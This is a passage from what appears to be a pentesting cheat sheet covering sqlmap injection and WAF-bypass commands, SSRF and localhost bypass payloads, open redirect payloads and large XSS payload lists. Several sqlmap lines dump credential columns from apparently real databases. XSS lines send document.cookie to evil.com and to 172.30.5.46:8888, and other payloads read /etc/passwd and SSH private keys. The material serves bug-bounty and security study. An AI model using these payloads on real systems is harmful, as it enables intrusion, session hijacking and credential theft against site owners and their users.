sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs
sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs
sqlmap -v3 --technique=T --no-cast --fresh-queries --banner
sqlmap -u http://www.example.com/index?id=1 --level 2 --risk 3 --batch --dbs


sqlmap -f -b --current-user --current-db --is-dba --users --dbs
sqlmap --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
sqlmap --risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbs
sqlmap --random-agent --dbms=MYSQL --dbs --technique=B"
sqlmap --identify-waf --random-agent -v 3 --dbs

1 : --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
2 : --parse-errors -v 3 --current-user --is-dba --banner -D eeaco_gm -T #__tabulizer_user_preferences --column --random-agent --level=5 --risk=3

sqlmap --threads=10 --dbms=MYSQL --tamper=apostrophemask --technique=E -D joomlab -T anz91_session -C session_id --dump
sqlmap --tables -D miss_db --is-dba --threads="10" --time-sec=10 --timeout=5 --no-cast --tamper=between,modsecurityversioned,modsecurityzeroversioned,charencode,greatest --identify-waf --random-agent
sqlmap -u http://192.168.0.107/test.php?id=1 -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py"
sqlmap --banner --safe-url=2 --safe-freq=3 --tamper=between,randomcase,charencode -v 3 --force-ssl --dbs --threads=10 --level=2 --risk=2
sqlmap -v3 --dbms="MySQL" --risk=3 --level=3 --technique=BU --tamper="space2mysqlblank.py" --random-agent -D damksa_abr -T admin,jobadmin,member --colu

sqlmap --wizard
sqlmap --level=5 --risk=3 --random-agent --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --dbms=mssql
sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql

# Tamper suggester
https://github.com/m4ll0k/Atlas

--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" --tables
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" --columns
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" -C "ud,email,usuario,contra" --dump
# Tamper list
between.py,charencode.py,charunicodeencode.py,equaltolike.py,greatest.py,multiplespaces.py,nonrecursivereplacement.py,percent
```

## Related Topics

* [Command Injection](/enumeration/web/command-injection) - OS command execution
* [NoSQL Injection](/enumeration/webservices/nosql-and-and-mongodb) - MongoDB, CouchDB attacks
* [Web Exploits](/exploitation/web-exploits) - SQLi to RCE chains
* [API Security](/enumeration/web/api-security) - API-specific injection vectors
* [WAF Bypass](/enumeration/webservices/wafs) - Bypassing web application firewalls


# SSRF

> **Skill Level**: Intermediate\
> **Prerequisites**: Networking, cloud architecture

## Tools

```bash
# https://github.com/tarunkant/Gopherus
gopherus --exploit [PLATFORM]
# https://github.com/daeken/SSRFTest
# https://github.com/jmdx/TLS-poison/
# https://github.com/m4ll0k/Bug-Bounty-Toolz
# https://github.com/cujanovic/SSRF-Testing
# https://github.com/bcoles/ssrf_proxy

gau domain.com | python3 ssrf.py collab.listener.com

# https://github.com/micha3lb3n/SSRFire
./ssrfire.sh -d domain.com -s yourserver.com -f /path/to/copied_raw_urls.txt

# SSRF Redirect Payload generator
# https://tools.intigriti.io/redirector/
```

## Summary

{% hint style="info" %}
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.
{% endhint %}

```bash
# Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1
chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
```

## SSRF Attacks

```bash
# Check if you're able to enum IP or ports
127.0.0.1
127.0.1
127.1
127.000.000.001
2130706433
0x7F.0x00.0x00.0x01
0x7F.1
0x7F000001

# Quick URL based bypasses:
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/

# 301 responses:
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg
https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg

# 301 json:
https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json
https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json

# 301 csv:
https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv
https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv

# 301 xml:
https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml
https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml

# 301 pdf:
https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf
https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf
https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf
https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf

# 30x custom:
https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

# 20x custom:
https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

# 201 custom:
https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

# HTML iframe + URL bypass
http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/

# SFTP
http://whatever.com/ssrf.php?url=sftp://evil.com:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2

# Dict
http://safebuff.com/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0

# gopher
# http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php
<?php
        header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>

evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test

# TFTP
# http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6

# file
http://safebuff.com/redirect.php?url=file:///etc/passwd

# ldap
http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit

# SSRF Bypasses
?url=http://safesite.com&site.com
?url=http://////////////site.com/
?url=http://site@com/account/edit.aspx
?url=http://site.com/account/edit.aspx
?url=http://safesite.com?.site.com
?url=http://safesite.com#.site.com
?url=http://safesite.com\.site.com/domain
?url=https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
?url=https://192.10.10.3/
?url=https://192.10.10.2?.192.10.10.3/
?url=https://192.10.10.2#.192.10.10.3/
?url=https://192.10.10.2\.192.10.10.3/
?url=http://127.0.0.1/status/
?url=http://localhost:8000/status/
?url=http://site.com/domain.php
<?php
header(‘Location: http://127.0.0.1:8080/status');
?>

# Localhost bypasses
0
127.00.1
127.0.01
0.00.0
0.0.00
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x0.0x0.0x0.0x0
0000.0000.0000.0000
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000..0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1

# Blind SSRF
- Review Forms
- Contact Us
- Password fields
- Contact or profile info (Names, Addresses)
- User Agent

# SSRF through video upload
# https://hackerone.com/reports/1062888
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS

# SSRF in pdf rendering
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>
```

SSRF Bypasses

```bash
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
http://////////////site.com/
http://0000::1:80/
http://000330.0000072.0000326.00000343
http://000NaN.000NaN
http://0177.00.00.01
http://017700000001
http://0330.072.0326.0343
http://033016553343
http://0NaN
http://0NaN.0NaN
http://0x0NaN0NaN
http://0x7f000001/
http://0xd8.0x3a.0xd6.0xe3
http://0xd8.0x3a.0xd6e3
http://0xd8.0x3ad6e3
http://0xd83ad6e3
http://0xNaN.0xaN0NaN
http://0xNaN.0xNa0x0NaN
http://0xNaN.0xNaN
http://127.0.0.1/status/
http://127.1/
http://2130706433/
http://216.0x3a.00000000326.0xe3
http://3627734755
http://[::]:80/
http://localhost:8000/status/
http://NaN
http://safesite.com#.site.com
http://safesite.com&site.com
http://safesite.com?.site.com
http://safesite.com\.site.com/domain
http://shmilon.0xNaN.undefined.undefined
http://site.com/account/edit.aspx
http://site.com/domain.php
http://site@com/account/edit.aspx
http://whitelisted@127.0.0.1
https://192.10.10.2#.192.10.10.3/
https://192.10.10.2?.192.10.10.3/
https://192.10.10.2\.192.10.10.3/
https://192.10.10.3/
https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
<?php
header('Location: http://127.0.0.1:8080/status');
?>

# Tool
# https://h.43z.one/ipconverter/
```

## PDF SSRF

{% embed url="<https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators>" %}

## Mindmap

![](/files/-MOOHOgvXKkqdg5bMyWY)


# Open redirects

## Tools

```bash
#https://github.com/devanshbatham/OpenRedireX
python3 openredirex.py -u "https://website.com/?url=FUZZ" -p payloads.txt --keyword FUZZ

#https://github.com/0xNanda/Oralyzer
python3 oralyzer.py -u https://website.com/redir?url=

# Payload generator
# https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170
```

## Payloads

```bash
# Check for
=aHR0
=http
# https://github.com/m0chan/BugBounty/blob/master/OpenRedirectFuzzing.txt

https://web.com/r/?url=https://phising-malicious.com
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect

# Check redirects
https://url.com/redirect/?url=http://twitter.com/
http://www.theirsite.com@yoursite.com/
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
/http://twitter.com/
/\\twitter.com
/\/twitter.com
?c=.twitter.com/
/?redir=google。com
//google%E3%80%82com
//google%00.com
/%09/google.com
/%5cgoogle.com
//www.google.com/%2f%2e%2e
//www.google.com/%2e%2e
//google.com/
//google.com/%2f..
//\google.com
/\victim.com:80%40google.com
https://target.com///google.com//
# Remember url enconde the payloads!

# Search in Burp:
“=http” or “=aHR0”（base64 encode http）

# Fuzzing openredirect

# Intruder url open redirect
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}

# Valid URLs:
http(s)://evil.com
http(s):\\evil.com
//evil.com
///evil.com
/\evil.com
\/evil.com
/\/evil.com
\\evil.com
\/\evil.com
/ /evil.com
\ \evil.com

# Oneliner with gf
echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew
```


# XSS

> **Skill Level**: Beginner to Intermediate\
> **Prerequisites**: JavaScript, HTML basics

{% embed url="<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>" %}

{% hint style="info" %}
Try XSS in every input field, host headers, url redirections, URI paramenters and file upload namefiles.

Actions: phising through iframe, cookie stealing, always try convert self to reflected.
{% endhint %}

## Tools

```bash
# https://github.com/hahwul/dalfox
dalfox url http://testphp.vulnweb.com/listproducts.php

# Expected output:
# [POC][G][WEAK] http://testphp.vulnweb.com/listproducts.php?cat=<script>alert(1)</script>
# [POC][V][GET] http://testphp.vulnweb.com/listproducts.php?cat="><svg/onload=alert(45)>

# https://github.com/KathanP19/Gxss
# Replace every param value with word FUZZ
echo "https://target.com/some.php?first=hello&last=world" | Gxss -c 100

# Expected output:
# https://target.com/some.php?first=FUZZ&last=world
# https://target.com/some.php?first=hello&last=FUZZ

# XSpear
gem install XSpear
XSpear -u 'https://web.com' -a
XSpear -u 'https://www.web.com/?q=123' --cookie='role=admin' -v 1 -a -b https://six2dez.xss.ht -t 20
XSpear -u "http://testphp.vulnweb.com/search.php?test=query" -p test -v 1

# Xira
# https://github.com/xadhrit/xira
python3 xira.py -u url

# Hosting XSS
# surge.sh
npm install --global surge
mkdir mypayload
cd mypayload
echo "alert(1)" > payload.js
surge # It returns the url

# XSS vectors
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

# Payload list
https://github.com/m0chan/BugBounty/blob/master/xss-payload-list.txt

https://github.com/terjanq/Tiny-XSS-Payloads

# XSS to RCE
# https://github.com/shelld3v/JSshell

# Polyglots
# https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

# XSS browser
# https://github.com/RenwaX23/XSSTRON

# Blind
# https://github.com/hipotermia/vaya-ciego-nen
```

### Oneliners

```bash
# WaybackUrls
echo "domain.com" | waybackurls | httpx -silent | Gxss -c 100 -p Xss | sort -u | dalfox pipe -b https://six2dez.xss.ht
# Param discovery based
paramspider -d target.com > /filepath/param.txt && dalfox -b https://six2dez.xss.ht file /filepath/param.txt 
# Blind XSS
cat target_list.txt | waybackurls -no-subs | grep "https://" | grep -v "png\|jpg\|css\|js\|gif\|txt" | grep "=" | qsreplace -a | dalfox pipe -b https://six2dez.xss.ht
# Reflected XSS
echo "domain.com" | waybackurls | gf xss | kxss
```

## XSS recopilation

### Basics

```markup
# Locators
'';!--"<XSS>=&{()}

# 101
<script>alert(1)</script>
<script>+-+-1-+-+alert(1)</script>
<script>+-+-1-+-+alert(/xss/)</script>
%3Cscript%3Ealert(0)%3C%2Fscript%3E
%253Cscript%253Ealert(0)%253C%252Fscript%253E
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
%5B'-alert(document.cookie)-'%5D
```

### By tag

```markup
# Tag filter bypass
<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

# HTML tags
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/evil.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>

# Other tags
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>

# CharCode
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

# Input already in script tag
@domain.com">user+'-alert`1`-'@domain.com

# Scriptless
<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?

# Unclosed Tags
<svg onload=alert(1)//
```

### Blind

```markup
# Blind XSS
# https://github.com/LewisArdern/bXSS
# https://github.com/ssl/ezXSS
# https://xsshunter.com/

# Blind XSS detection
# Xsshunter payload in every field
# Review forms
# Contact Us pages
# Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
# Address fields of e-commerce sites
# First or Last Name field while doing Credit Card Payments
# Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
# Log Viewers
# Feedback Page
# Chat Applications
# Any app that requires user moderation
# Host header
# Why cancel subscription? forms
```

### Bypasses

````markup
# No parentheses
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>

# No parentheses and no semicolons
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

# No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>

# Angle brackets HTML encoded (in an attribute)
“onmouseover=“alert(1)
‘-alert(1)-’

# If quote is escaped
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

# Embedded tab, newline, carriage return to break up XSS
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

# RegEx bypass
<img src="X" onerror=top[8680439..toString(30)](1337)>

# Other
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
````

### Encoded

```markup
# Unicode
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>

# Hex
<script>eval('\x61lert(1)')</script>

# HTML
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//

# URL
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

# Double URL Encode
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

# Unicode + HTML
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>

# HTML + URL
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>
```

### Polyglots

````markup
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>
javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 
￼￼```
%3C!%27/!%22/!\%27/\%22/ — !%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20*/;%20Onmouseenter=confirm1%20//%3E#
<!'/!”/!\'/\"/ — !></Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm1 //>#
jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">>
” ></plaintext></|><plaintext/onmouseover=prompt(1) >prompt(1)@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →” > "></script>alert(1)”><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">">
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
<sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><imgsrc="http://i.imgur.com/P8mL8.jpg">

# No parenthesis, back ticks, brackets, quotes, braces
a=1337,b=confirm,c=window,c.onerror=b;throw-a

# Another uncommon
'-(a=alert,b="_Y000!_",[b].find(a))-'

# Common XSS in HTML Injection
<svg onload=alert(1)>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
<script src=data:,alert(1)>
# inline
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
# src attribute
javascript:alert(1)
# JS injection
'-alert(1)-'
'/alert(1)//
\'/alert(1)//
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
/alert(1)//\
/alert(1)}//\
${alert(1)}

# XSS onscroll
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y

# XSS filter bypasss polyglot:
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 

" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>

# GO SSTI
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`

# Some XSS exploitations
- host header injection through xss
add referer: batman 
hostheader: bing.com">script>alert(document.domain)</script><"
- URL redirection through xss
document.location.href="http://evil.com"
- phishing through xss - iframe injection
<iframe src="http://evil.com" height="100" width="100"></iframe>
- Cookie stealing through xss
https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py
https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md
<script>var i=new Image;i.src="http://172.30.5.46:8888/?"+document.cookie;</script>
<img src=x onerror=this.src='http://172.30.5.46:8888/?'+document.cookie;>
<img src=x onerror="this.src='http://172.30.5.46:8888/?'+document.cookie; this.removeAttribute('onerror');">
-  file upload  through xss
upload a picturefile, intercept it, change picturename.jpg to xss paylaod using intruder attack
-  remote file inclusion (RFI) through xss
php?=http://brutelogic.com.br/poc.svg - xsspayload
- convert self xss to reflected one
copy response in a file.html -> it will work

# XSS to SSRF
<esi:include src="http://yoursite.com/capture" />

# XSS to LFI
<script>	x=new XMLHttpRequest;	x.onload=function(){		document.write(this.responseText)	};	x.open("GET","file:///etc/passwd");	x.send();</script>

<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>
````

## XSS in files

```markup
# XSS in filename:
"><img src=x onerror=alert(document.domain)>.gif

# XSS in metadata:
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg

# XSS in GIF Magic Number:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
# If image can't load:
url.com/test.php?p=<script src=http://url.com/upload/img/xss.gif>

# XSS in png:
https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

# XSS in PDF:
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1

# XSS upload filename:
cp somefile.txt \"\>\<img\ src\ onerror=prompt\(1\)\>
